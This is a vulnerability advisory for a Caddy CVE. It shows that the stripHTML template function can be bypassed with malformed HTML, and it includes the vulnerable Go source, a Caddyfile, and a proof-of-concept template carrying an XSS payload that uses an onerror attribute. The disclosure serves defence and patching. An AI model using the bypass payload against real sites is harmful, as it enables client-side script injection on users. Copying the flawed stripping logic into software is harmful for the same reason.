CVE-2026-52846

### Summary Caddy’s `stripHTML` template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as `<<>img src=x onerror=alert()>`, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely. --- ### Details The vulnerability originates from `funcStripHTML` in: [caddy/caddy/caddyhttp/templates/tplcontext.go](https://github.com/caddyserver/caddy/blob/77e9ce7404c4a76853e101a9f5687a929ee56654/modules/caddyhttp/templates/tplcontext.go) ```go func (TemplateContext) funcStripHTML(s string) string { var buf bytes.Buffer var inTag, inQuotes bool var tagStart int for i, ch := range s { if inTag { if ch == '>' && !inQuotes { inTag = false } else if ch == '<' && !inQuotes { // false start buf.WriteString(s[tagStart:i]) tagStart = i } else if ch == '"' { inQuotes = !inQuotes } continue } if ch == '<' { inTag = true tagStart = i continue } buf.WriteRune(ch) } if inTag { // false start buf.WriteString(s[tagStart:]) } return buf.String() } ``` ### POC Caddyfile setup ``` :8080 { root * ./site file_server templates } ``` Template file (index.html) ```html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>StripHTML Bypass Test</title> </head> <body> <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p> </body> </html> ``` The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind. Tested in v2.11.3 ### Impact Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS. ### AI Disclosure AI assisted in writing the report description; however, the discovery of the issue has been done manually.

Caddy: stripHTML template function bypass in github.com/caddyserver/caddy